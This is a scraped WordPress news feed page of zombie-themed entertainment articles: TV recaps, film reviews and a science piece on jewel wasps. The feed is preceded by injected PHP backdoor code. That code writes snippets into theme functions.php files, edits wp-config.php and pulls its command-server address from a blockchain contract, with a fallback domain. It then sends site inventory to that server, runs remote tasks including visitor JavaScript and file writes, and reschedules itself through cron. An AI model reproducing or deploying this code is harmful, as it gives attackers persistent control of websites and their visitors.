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}elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Zombies – Brief News https://briefnews.eu Latest World News. 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]]> https://briefnews.eu/night-at-the-gates-of-hell-only-downs-zombies-with-head-shots/feed/ 0 The Walking Dead: World Beyond Recap: Where There’s Smoke, There’s Zombies https://briefnews.eu/the-walking-dead-world-beyond-recap-where-theres-smoke-theres-zombies/ https://briefnews.eu/the-walking-dead-world-beyond-recap-where-theres-smoke-theres-zombies/#respond Mon, 12 Oct 2020 05:31:38 +0000 https://briefnews.eu/the-walking-dead-world-beyond-recap-where-theres-smoke-theres-zombies/ As Sunday’s episode of The Walking Dead: World Beyond shed new light on Felix’s fraught past, the future of our young protagonists looked ever more like it was about to go up in smoke. That’s not a metaphor, either; with every step, they drew nearer to a perpetually raging fire surrounded by empties called the Blaze of (ha) Gory. Did anyone wind up getting burned? Read on.

‘YOU SHOULD BE SCARED EVERY SINGLE TIME YOU ARE OUTSIDE THOSE WALLS’ | As the hour began, Iris’ attempt to kill her first empty nearly got her killed. But only nearly. She and the zombie tumbled off of a concrete embankment, at which point, she promptly puked on it. Still, she couldn’t bring herself to dispatch the now-demobilized walker (prompting Hope to apologize to it as the gang left it behind). Later, Elton and Hope sensed in one another a kindred spirit, at least insofar as they were both pretty chill about the end of their species. At that point, Iris spotted in the distance smoke plumes from the Notorious B.O.G., which served almost as a beacon for the undead. Nonetheless, Iris was sure they’d get through it; Hope, apparently less so — she left behind an empty can of peaches stolen from Felix’s apartment to let him know which way they were headed.

While making tracks, the kids ran afoul of an empty whose head was abuzz with actual bees. When Elton stumbled, Silas found himself unable to bash the creature to save his friend. Thankfully, a little spray paint to the walker’s face bought them all enough time to escape. After the foursome holed up in a treehouse for the night, we got an even greater sense of just how broken Silas is when he couldn’t relax and have fun playing with Hope’s bowling ball, Big Mo, like everyone else. And just when he was already feeling crummy about not being able to save Elton, up moseyed that same bee-filled walker. Everything, in Silas’ mind, was his fault. Following a game of Monopoly and lights-out, Hope snuck out of the tree and, like her sister before her, nearly got killed trying to take out an empty. But she survived, then swore to secrecy Silas — the only person to notice her coming and going. BTW, she added, his mistake didn’t need to follow him around. (Of course, she said this even as she was being haunted by her memories of shooting Elton’s mother.)

the-walking-dead-world-beyond-recap-season-1-episode-2-blaze-of-glory‘SAY WHAT YOU WILL, BUT THEY HANDLE THEIR S–T’ | Chasing after the kids, Felix and Huck comforted themselves with the thought that, once the youngsters caught sight of the Blaze of Gory, they’d “be glad they still have a home to go back to.” (Ah, if they only knew… ) While traveling once-familiar streets, Felix flashed back to his youth — and his father’s discovery that he was gay. Though it had been Felix who’d been paying the bills, Dad coldly kicked him out. Eventually, he confided in Huck that he’d been at school the night the sky fell, and had run for two days to get home, to be with his folks at the end. Despite it being the apocalypse and all, they wouldn’t so much as open the door. Lord. Meanwhile, as daunting as the B.O.G. turned out to be, Iris insisted that she and her pals could get through it. Camped out overnight before attempting to do so, Hope and Elton did more gloomy bonding, with him explaining that the last of a species were called endlings — and that was what they were. So the message no one seemed to notice her spray-painting like a trail of breadcrumbs for Felix read, “We Were Here — the Endlings.”

When at last the quartet endeavored to make their way through the B.O.G., as well its thick smoke and endless walkers, they lost track of the sun and, therefore, the direction in which they were headed. Somehow, they made it to the other side — still with none of them killing a walker — only to discover that… crap! They were still in the B.O.G. Hot on their trail, Felix deduced from the clues Hope kept leaving that “obviously, one of them doesnt wanna do this.” Where had he snuck off to the night before? Huck wanted to know. “To kill my parents,” he replied. (Apparently, they’d still been housebound, albeit turned, right where he’d left them a decade earlier.) Back in the B.O.G., Elton floated the idea of someone sounding a nearby tornado siren — in effect, becoming bait, allowing everyone else to make it to the airfield on the far side of the area. And, erm, of course, that person would then, um, escape, too. That idea was so crazy, even Iris lost her nerve, prompting Hope to give her a pep talk. As everyone conked out for the night atop a bus, Hope snuck off, presumably to assuage her guilty conscience by sounding the alarm and drawing the masses of empties to her.

So, your thoughts on “The Blaze of Gory”? Felix’s backstory? Drop a comment below.

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FX’s What We Do in the Shadows this Wednesday scared up a couple of new supernatural creatures — to hilarious effect — with its double-episode Season 2 premiere.

But first, a catch-up on what the gang has been up to since we last tuned in. Guillermo has been fending off the vampire assassins who have been descending upon the house, dispatching with about a dozen so far while keeping their existence a secret from the others — lest he reveal himself to be a quite effective vampire killer. Nandor had a brief “enlightenment” when, in the midst of vaporizing, he got sucked into an air humidifier. Colin Robinson bought himself a hep convertible with which he blocks traffic to the Lincoln Tunnel. (Ugh!) And Laszlo and Nadja have been positively burning through new familiars, with six or seven consecutively perishing by a variety of amusing means.

But in Episode 1, Laszlo and Nadja (and Nandor for that matter) are beyond taken with their very latest familiar, Topher Delmonico (played by seer-of-dead people Haley Joel Osment), who to them is a most dutiful and dedicated servant… but in reality is just a slacker bruh with side hustles and zero dream of becoming a vampire one day. (He’d he quite content as a warlock.) Topher’s indifference to all that Guillermo holds so dearly greatly irks the latter. One evening, Topher accidently gets electrocuted — but rather than simply mourn him, Nadja gets the idea to have a necromancer, Wallace (Doctor Strange‘s Benedict Wong), resurrect him. Laszlo is wary of this souvenir-hawking “shyster,” and rightly so. After Wallace pockets the vital $ 350 (cash) and pulls himself away from his text messages long enough to bring the dead back to life, it soon becomes apparent — at least to Guillermo — that Topher is now a ravenous zombie.

Nandor & Co. shrug off Guillermo’s theory, until the two familiars get into it a bit, and Guillermo drives a stake into, and then accidentally high-fives the arm off of, Topher. Zombies are gonna zombie, though, so the fight carries on and on and on, until Nandor steps in and, after several tries, puts an end to Guillermo’s attacker. Afterward, the vampires demand a makegood from Wallace, but settle for semi-personalized license plate keychains.

WHAT WE DO IN THE SHADOWSEpisode 2 of the new season introduces into the house a ghost — and we in turn learn that while vampires and werewolves and even a “badabook” are very real things to Nandor & Co., the bloodsuckers do not believe in spirits. That is where they draw the line, Guillermo marvels. Nadja nonetheless conducts a seance that summons, no, not the burrito Guillermo had for breakfast, but the spirit of Jeff aka the reincarnation of Nadja’s Gregor. Nadja, though, has no patience for Jeff’s “unfinished business,” seeing as without a corporeal body, there is no Gregor in him.

Jeff’s appearance, however, gets the roommates thinking about whether, being quite dead themselves, they have their own “ghosts” out there — and a second seance indeed makes their spectral doppelgangers appear. Nandor is unable to communicate with his (outside of “Good morning”), having forgotten his native language; Nadja gets along famously with hers, after a brief clash over the former not fulfilling her potential; and Laszlo… well, his ghost’s unfinished business involves the epic, unfinished orgasm he was having at the time Nadja killed him.  And since his ethereal mitts can’t quite get the job done, maybe Laszlo himself can land a not-so-proverbial hand…?

In the end, Nandor comes to realize that his ghost longed to be reunited with their beloved (but tasty) steed, John (sp?); Nadja opted not to let her ghost go, so instead she is inhabiting a creepy doll; and Laszlo… well, let’s just say the ceiling of his study is a complete mess of… “ectoplasm.”

Oh, and as for Colin Robinson? Now experimenting with life-draining humor, he closes out the second episode by conjuring his dead grandmother, if only so that he can get someone to finally ask him what “updog” is.

What did you think of Shadows‘ double-episode return?

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NBC and the Paley Center for Media are saluting the brave men and women of Law & Order: SVU with an hourlong special on Thursday, Jan. 2 (9/8c).

Appropriately titled The Paley Center Salutes Law & Order: SVU, the small-screen event will “go back to the beginning, take a look behind the scenes and hear from the stars, creators and crew members who have brought incredibly impactful stories to life week after week,” according to the official synopsis. “The special also includes many of the most memorable scenes and features interviews with some of the famous guests who have stopped by to take part in the show.”

“We thank the Paley Center and NBC for making this special acknowledging SVUs historic 21st season,” series creator Dick Wolf said in a statement. “We’re excited for viewers to see this retrospective, which chronicles over two decades of groundbreaking television.”

Ready for more of today’s newsy nuggets? Well…

* Disney Channel’s Zombies 2, starring Milo Manheim (Dancing with the Stars) and Meg Donnelly (American Housewife), will premiere on Friday, Feb. 14 at 8 pm. Watch a sneak peek clip below:

* CBS All Access’ true-crime series Interrogation will begin streaming on Thursday, Feb. 6. The series follows a case that spans more than 20 years, in which a young man was charged and convicted of murdering his mother. Peter Sarsgaard (The Killing), Kyle Gallner (Veronica Mars) and Vincent D’Onofrio (Law & Order: Criminal Intent) star.

* The first four episodes of Undercover Boss Season 9 — which premieres on Wednesday, Jan. 8 — will feature Walk-On’s Bistreaux & Bar, Anytime Fitness, Dippin’ Dots and Clean Harbors.

* Little America, an immigration-themed anthology comedy series, has been renewed by Apple TV+ for a second season, ahead of its series premiere. The first season will arrive in its entirety on Friday, Jan. 17.

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]]> https://briefnews.eu/tvline-items-svu-cast-looks-back-zombies-2-premiere-date-and-more/feed/ 0 Suburban zombies are back and ravenous as ever in Santa Clarita Diet S3 trailer https://briefnews.eu/suburban-zombies-are-back-and-ravenous-as-ever-in-santa-clarita-diet-s3-trailer/ https://briefnews.eu/suburban-zombies-are-back-and-ravenous-as-ever-in-santa-clarita-diet-s3-trailer/#respond Tue, 12 Mar 2019 03:45:34 +0000 http://briefnews.eu/suburban-zombies-are-back-and-ravenous-as-ever-in-santa-clarita-diet-s3-trailer/

The family that preys together, stays together. Drew Barrymore and Tim Olyphant star as Sheila and Joel Hammond, real estate agents with a squicky secret, in The Santa Clarita Diet.

We’ve got our first peek at what’s in store for the third season of The Santa Clarita Diet, Netflix’s clever horror-comedy series about zombies in an affluent California suburb. It’s what you’d get if the CW’s hipster comic/horror procedural, iZombie, grew up and moved to the suburbs: same bloody, bonkers humor with more pastels and fake pasted-on smiles.

(Some spoilers for first two seasons below.)

The series centers on Joel and Sheila Hammond (Tim Olyphant and Drew Barrymore, respectively), married real estate agents who find their lives irrevocably altered after Sheila has an extreme upchucking incident while showing a house to prospective clients. She thinks it’s a bad case of food poisoning but soon begins to crave human flesh. The upside: she feels better than she has in years, and her increased libido kick-starts the Hammonds’ previously humdrum sex life into overdrive.

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]]> https://briefnews.eu/suburban-zombies-are-back-and-ravenous-as-ever-in-santa-clarita-diet-s3-trailer/feed/ 0 Horror Remake Roundup: Guillermo del Toro is ‘Terrified’, David Gordon Green Wants More ‘Critters’ or ‘Ghoulies’, and Rob Zombie’s Abandoned ‘Blob’ https://briefnews.eu/horror-remake-roundup-guillermo-del-toro-is-terrified-david-gordon-green-wants-more-critters-or-ghoulies-and-rob-zombies-abandoned/ https://briefnews.eu/horror-remake-roundup-guillermo-del-toro-is-terrified-david-gordon-green-wants-more-critters-or-ghoulies-and-rob-zombies-abandoned/#respond Tue, 04 Dec 2018 01:16:56 +0000 http://briefnews.eu/horror-remake-roundup-guillermo-del-toro-is-terrified-david-gordon-green-wants-more-critters-or-ghoulies-and-rob-zombies-abandoned/ horror remakes terrified

You want horror remake news? We’ve got horror remake news for you, baby! Get it while it’s spooky! First: Guillermo del Toro has confirmed he’s working on an American remake of the scary Argentinean horror film Terrified. Then, Halloween director David Gordon Green expresses interest in remaking either Critters or Ghoulies (maybe, he could be joking). And finally, a look at Rob Zombie‘s abandoned remake of The Blob.

Terrified

Terrified is one of the creepiest horror movies in recent memory. This Argentinean export is now streaming on Shudder, and filled with enough scares to keep you on the edge of your seat. Some of the plotting is a bit wonky, but the fright factor is through the roof. In her review of the film, Marisa Mirabal wrote “Terrified is a gory and gruesome gem that solidifies its spooky real estate within the genre we all know and love.”

The horror film works fine on its own, and really doesn’t need an American English-language remake. But we’re getting one anyway. At least we can rest easy knowing it’s in good hands. Guillermo del Toro has confirmed to THR that he’s producing the American remake, and I have no doubt del Toro will make sure the original gets the respect it deserves. In the original, a group of paranormal researchers investigate strange events in a neighborhood in Buenos Aires.

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Ghoulies (Or Critters) 

Now that David Gordon Green has saved the Halloween franchise, what does he want to do next? “I’d like to make a little Critters/Ghoulies movie,” he said at a recent Q&A. “When I was a boy I asked my parents for Goonies for Christmas and they gave me a copy of Ghoulies, never gotten over it.”

Ghoulies involved puppet monsters that popped out of the toilet (“They’ll get you in the end!” cried the tagline). Critters dealt with tiny, hairy animals. It’s worth noting that Green could be joking here. And if he’s not joking, he doesn’t say he wants to specifically remake these two films, but rather that he wants to make a movie in the same vein. In other words, he really wants to make a movie about tiny puppet monsters running around. I say go for, David.

The Blob

Almost 10 years ago, Rob Zombie announced he was going to remake The Blob, the 1958 sci-fi horror film later remade in 1988. The movie featured a viscus, ever-growing slab of goo from space that wrecked havoc on earth. Zombie’s take was apparently much, much different – but it never happened. Zombie later said he walked away because he had a bad feeling about working with the producers.

Now, some concept art from Zombie’s never-made film has surfaced, and it certainly looks different. The art comes from artist Alex Horley(via Bloody Disgusting), and certainly indicates Zombie’s approach was different. In the other two Blob films, the blob mostly roams around town, murdering people. In the art, we see what looks like zombies created by the blob, attacking people. There’s also a huge stone monolith that probably has something to do with what’s going on. I have to say, based on the art, this looks pretty damn cool – but who knows how it would’ve actually turned out. See the art below.





 

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Warning: There are spoilers ahead for season nine, episode six of “The Walking Dead.”

Now that Rick Grimes has departed “The Walking Dead,” the show has introduced its next big threat.

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A wasp climbs atop a cockroach against a white background.

Enlarge / The jewel wasp administers two stings: one to paralyze the legs, the other to make the roach her zombie slave. (credit: Ken Catania/Vanderbilt University)

If you ever want to witness just how horrifyingly “red in tooth and claw” nature can be, you only have to look to the emerald jewel wasp. The female of the species is known for stinging unsuspecting cockroaches with a nasty venom that turns the roach into her docile slave. That way she can lay her eggs in the still-living roach and bury it alive, ensuring her offspring have something to eat when they hatch. Even if you don’t like cockroaches, it’s a pretty gruesome fate—they become the walking dead.

But it turns out that the poor roach is not without defenses of its own, according to a new paper in Brain, Behavior and Evolution with the rather puckish title, “How Not To Be Turned Into a Zombie.” Roaches can use their hard, spiky legs as weapons, even delivering wide sweeping kicks to ward off an attacking jewel wasp. It’s the most detailed study yet of how roaches fight off attacks to turn them into insectoid zombies.

The author, Vanderbilt University’s Ken Catania, has a knack for creatively studying the aggressive behavior of various creatures; his specialty is predator/prey interactions. Back in 2016, he experimentally verified naturalist and explorer Alexander von Humboldt’s 19th-century account of electric eels in Venezuela aggressively leaping up and stunning horses with a series of high-voltage discharges. (Part of that experiment involved LED lights mounted on a fake alligator head, attached with strips of conductive tape, to better visualize those discharges. Because of course it did.)

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Shinichiro Ueda’s One Cut of the Dead is the little zombie movie that could. Made on a shoestring budget of about $ 27,000, the Japanese film turned worldwide festival favorite has since earned back a whopping 1,000 times its budget. Its box office numbers would be a victory by any measure, but they’re especially vindicating for a movie that initially opened in just one small Tokyo theater for a six-day run. They’d also have to be vindicating for Ueda, a 34-year-old first-time feature filmmaker who assembled a cast of unknowns for this project and only spent eight days shooting it.

In late September, One Cut of the Dead took home the Audience Award and the award for Best Director (Horror Features) at Fantastic Fest in Austin, Texas. /Film’s own Jacob Hall was there and he called the movie “the best zombie comedy in years.” Others have mentioned it in the same breath as Shaun of the Dead. I was curious to see this film because of all the buzz surrounding it, so I jumped at the chance to be in the theater when One Cut of the Dead made its homecoming at the 2018 Tokyo International Film Festival.

It seemed like the perfect venue. The only catch? The movie was screening on Halloween night, when Tokyo turns into a street party on par with Times Square, New York City, on New Year’s Eve.

The title One Cut of the Dead comes from the set-up revealed in the movie’s first act. A director and his film crew are shooting a zombie movie on location in an abandoned water filtration plant. From the beginning, there’s a thin layer of artifice over this movie as the acting we see is obviously meant to be bad, so much so that the director, Higurashi, starts browbeating his leading lady for how fake she is.

Higurashi storms off the set. Next thing you know, a real zombie attack starts to occur, leading to a long, uncut scene where the cameraperson is running around and following the real-life action as it unfolds, found footage style.

The one thing people, especially horror fans, should know about One Cut of the Dead is that it isn’t so much a zombie comedy as it is a comedy with zombies. Though it’s a crowd-pleaser, comparing the movie to Shaun of the Dead or even Zombieland doesn’t really do it justice.

Shaun of the Dead nurtured some tonal shifts, having Simon Pegg emote, without irony, like a dramatic actor at times. It sought to wring pathos, serious grief, out of certain deaths, whereas One Cut of the Dead struck me as having a more consistent comedic tone throughout its 97-minute running time. There is really only one moment where the movie descends into the kind of horror where you feel like the bottom has dropped out from under you.

Having said that, the film does undergo a seismic shift after its first act concludes and its title finally appears on-screen. That 37-minute uncut opening scene is a cold open for the ages. In a Q&A following the movie’s Halloween-night screening at the Tokyo International Film Festival, Ueda cited films with non-linear structures like Memento and Pulp Fiction as influences.

To say any more than that would risk ruining the wonderful surprises the movie holds in store. This might be one of those films where it’s better to know as little as possible going into it. Maybe it’s enough to say that the movie starts out as one thing before morphing into something else entirely.

Rather like this article is about to do …

At the Q&A, I found myself studying Ueda, the film’s writer, director, and editor. He’s actually quite the character, an individual with a very expressive face and animated voice. He was dressed in a bright yellow hoodie with One Cut of the Dead’s movie logo on it. His hair curled out from under a bowler cap and even though he was sitting, the nonchalant way he held the microphone and made the audience intermittently bust up with laughter reminded me of a stand-up comedian.

During the photo session at the end of the Q&A, Ueda would strike zombie poses for the media photographers lined up with cameras in the theater’s front row. After the post-screening event with him adjourned, I exited the theater and moved through the lobby doors, out into the night air.

Leaving the midtown venue where the Tokyo International Film Festival is held, I saw a woman walking down the sidewalk toward me while looking at her smartphone screen. The light from the screen illuminated her face with a sickly blue pallor.

A zombie. I evaded her with a sidestep and headed for the subway station.

My destination on the subway would be the Shibuya district. Shibuya’s Halloween street parties are the stuff of legend…not all of it good. This district was one of the filming locations for Lost in Translation and its famous scramble crossing is often used in Hollywood movies for establishing shots of Tokyo.

I would have liked to make a beeline to get where I was going, but that’s impossible, I imagine, in any crowded city. You have to walk defensively. That’s my mantra: walk defensively, zigzagging past pedestrians like you’re running a zombie obstacle course.

That kind of footwork will come in handy when you’re navigating around puddles of vomit in the subway station. It worked for me. Seeing where a person (presumably, a drunken Halloween reveler) had thrown up on the floor in the station tunnel reminded me of a scene in One Cut of the Dead where there’s a kind of spitting zombie who does, in fact, spray vomit on people.

In Shibuya, I exited the station with about 45 minutes to go before the last train of the night (the one I would need to be on if I wanted to make it home). Almost immediately, I was greeted by the sight of a guy in the best-looking zombie costume I would see all night.


The prize-winning zombie posed for a picture, and this reminded me of an argument in One Cut of the Dead about whether zombies are capable of wielding axes. Did they have a will? If so, were they capable of posing on cue, too?

These were questions for another night. For now, it was all I could do to squeeze through the crowd and make my way into the heart of darkness that is Shibuya, Tokyo.

I saw glimpses of geekdom — people in movie character costumes — everywhere. More importantly, there were zombies.

I saw zombie doctors, zombie nuns, voodoo zombies, and other zombies whose overall costume theme was not always easy to ascertain. It’s a common sight in these street parties to see people in random costumes with a dash of zombie make-up on their faces. Later, on the train home, I would find myself seated next to three zombie nurses.

At one point, a guy walking behind me on the street, some drunk, put his hands on my shoulders like we were in a conga line, doing the Electric Slide. I was so alarmed that I forgot to do the “Sliding Pom” move, like in One Cut of the Dead.

There’s a scene in the movie where one character demonstrates her defensive ability by sliding her arms straight up as a zombified assailant tries to lay hold of her from behind. She gives voice to the utterance, “Pom!” as she does this. It’s the key element of her defense.

If I had remembered that move, I would have slid my arms straight up and been out of that drunk’s grasp in no time flat. However, it was all I could do just to wiggle out of his grasp.

Never forget the Sliding Pom move. It’s essential survivalism for the zombie apocalypse.

The street party was rowdy, but it wasn’t raging unsupervised because the police were out in full force, doing crowd control with megaphones and yellow police tape. Some of them were standing on top of armored police vans like zombie wranglers.

I imagined what it would be like if a full-on zombie outbreak hit this raucous crowd. How long would it be before the whole thing turned and rabid zombies started piling on top of each other like the ones in World War Z?

Trash littered the street. I caught sight of volunteers tonging the trash into white plastic trash bags. These were piled up in places, and I knew from previous years that these volunteers, the unsung heroes of Halloween, would have all the litter picked up by morning.

That’s the Japanese team spirit for you. Come tomorrow, the streets would be clean enough that anyone who missed the memo about Halloween in Shibuya could pass through the area and maybe never know there had been a street party the night before.

The thought of that magic trick — the unseen heroism taking place — seemed to perfectly mirror the spirit of One Cut of the Dead. I’ve been deliberately vague about the movie – it might seem as though I’ve gone way off-topic here – but just roll with it. That’s what you’ll need to do if you’re going to enjoy this film.

By the time I got home after all this excitement, it was well after midnight. Technically, November 1. Halloween was over and the film festival was over for me. I wouldn’t be attending any more screenings this year.

When I got home, my wife was already asleep, but she had set a small trash bag out by the door since it was trash day tomorrow. Remembering those kind volunteers doing clean-up in the street, I took the trash out before going inside.

What stayed with me most from One Cut of the Dead — my takeaway from this comedy with zombies — was that it’s a movie about teamwork. A group of people from different backgrounds come together, and for the benefit of the greater good, they try to make it through an increasingly ludicrous ordeal, one which unfolds, layer by layer. That’s a very vague plot description, but it’s the best logline I can come up with that won’t spoil the viewing experience for other people.

Hopefully, One Cut of the Dead will be coming soon to a theater near you. The movie might also lend itself well to a streaming platform. Wherever this film lands, seek it out and watch it at the first available opportunity. It’s a special one.

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What would happen if, following a zombie outbreak, someone found a cure for zombieism? How would the former zombies adjust to being reintroduced into society – and would society even want them back? That’s the intriguing premise behind The Cured, a new horror-drama starring Ellen Page. Watch The Cured trailer below.

I’m sure people will disagree with this assessment, but I’m pretty sure the zombie genre is played-out. There was a time when zombie movies seemed fresh and exciting, but now, thanks to countless movies and approximately 500 seasons of The Walking Dead, zombie stories seemed to have run dry. With that in mind, I have to admit: the concept of the new film The Cured is one of the most inventive approaches to a zombie film in a long time. In the film, a cure is developed following a zombie-like outbreak that enables former zombies to return to normal, human life. Of course, they now bring with them the baggage of having been blood-thirsty ghouls, which, needless to say, doesn’t go over so well. Watch the trailer and see for yourself.

The Cured trailer 

The Cured stars Ellen Page, Sam Keeley, Tom Vaughan-Lawlor, and Paula Malcomson and marks the feature directorial debut of David Freyne. Again, I’m very burned-out on zombie movies, but the concept of this movie is different enough to possibly raise the zombie genre from the dead. Or you could just keep watching The Walking Dead for the rest of your life. Here’s the official The Cured synopsis.

What happens when the undead return to life? In a world ravaged for years by a virus that turns the infected into zombie-like cannibals, a cure is at last found and the wrenching process of reintegrating the survivors back into society begins. Among the formerly afflicted is Senan (Sam Keeley), a young man haunted by the horrific acts he committed while infected. Welcomed back into the family of his widowed sister-in-law (Ellen Page), Senan attempts to restart his life—but is society ready to forgive him and those like him? Or will fear and prejudice once again tear the world apart? Pulsing with provocative parallels to our troubled times, The Cured is a smart, scary, and hauntingly human tale of guilt and redemption.

The Cured played at the 2017 Toronto International Film Festival, and even though I was there at the festival, I heard absolutely zero buzz about this movie. That’s not a very good sign, but perhaps it just slipped through the cracks. Decide for yourself when The Cured opens in theaters and on demand February 23, 2018.

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